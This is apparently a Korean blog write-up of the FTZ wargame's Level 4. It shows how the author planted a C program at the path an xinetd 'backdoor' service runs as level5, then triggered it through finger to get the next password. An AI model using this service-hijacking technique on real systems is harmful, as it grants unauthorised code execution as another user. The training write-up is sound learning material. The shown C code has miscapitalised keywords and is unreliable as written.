Phantom

FTZ Level4 본문

Pwnable/[Wargame] FTZ

FTZ Level4

Ph4nt0m_ 2016. 3. 18. 09:19
반응형

[level4@ftz level4]$ cat hint

 

 

누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!

 

 

일단 이 힌트만으론 어떤 문제일지 감이 안온다 /etc/xinetd.d 에 가보자

 

[level4@ftz level4]$ cd /etc/xinetd.d/

[level4@ftz xinetd.d]$ ls -l

-r--r--r-- 1 root level4 171 9월 10 2011 backdoor

백도어라는 파일이 하나 나온다 파일을 확인해보니

 

Xinetd 설정파일이다

 

[level4@ftz xinetd.d]$ cat backdoor

service finger

{

    disable    = no

    flags        = REUSE

    socket_type    = stream

    wait        = no

    user        = level5

    server        = /home/level4/tmp/backdoor

    log_on_failure    += USERID

}

finger라는 서비스? 프로그램을 실행하면 server에 있는 프로그램이 실행된다

 

이걸 이용하여 이번 단계를 깨면 될 것 같다

 

우선 finger를 실행해봤다

 

[level4@ftz xinetd.d]$ finger level4

Login: level4             Name: Level 4

Directory: /home/level4     Shell: /bin/bash

On since Sat Nov 8 21:35 (KST) on pts/1 from 192.168.1.1

No mail.

No Plan.

이 명령어는 로컬 및 원격 사용자의 계정 정보를 확인하는 명령어다

server란에 있는 경로에다가 my-pass를 실행할 수 있는 프로그램을 짜면 finger를 사용시 자동으로 실행이 될 것이다.

 

/home/level4/tmp/ 에 가서 이름을 backdoor로 하고 다음 코드를 짜고 컴파일한다

 

#include <stdio.h>

 

Int main(){

    System("my-pass");

    Return 0;

}

 

[level4@ftz tmp]$ gcc -o backdoor backdoor.c

finger명령어는 finger 계정명 으로 입력할 수 있지만

finger 계정명@도메인명 으로 입력 할 수 있다

 

다음과 같은 명령어를 입력한다

[level4@ftz xinetd.d]$ finger level4@localhost

 

그럼 /home/level4/tmp/backdoor를 실행하게 되고

 

[level4@ftz level4]$ finger level4@localhost

^[[H^[[J

Level5 Password is "what is your name?".

 

[level4@ftz level4]$

 

이렇게 다음 단계의 비밀번호가 나오게 된다

다음단계의 계정비밀번호가 뜨는 걸로 봐선 finger는 자동으로 setuid를 걸어 실행하는 것으로 추측된다

반응형

'Pwnable > [Wargame] FTZ' 카테고리의 다른 글

FTZ Level6  (0) 2016.03.18
FTZ Level5  (0) 2016.03.18
FTZ Level3  (0) 2016.03.18
FTZ Level2  (0) 2016.03.18
FTZ Level1  (0) 2016.03.18
Comments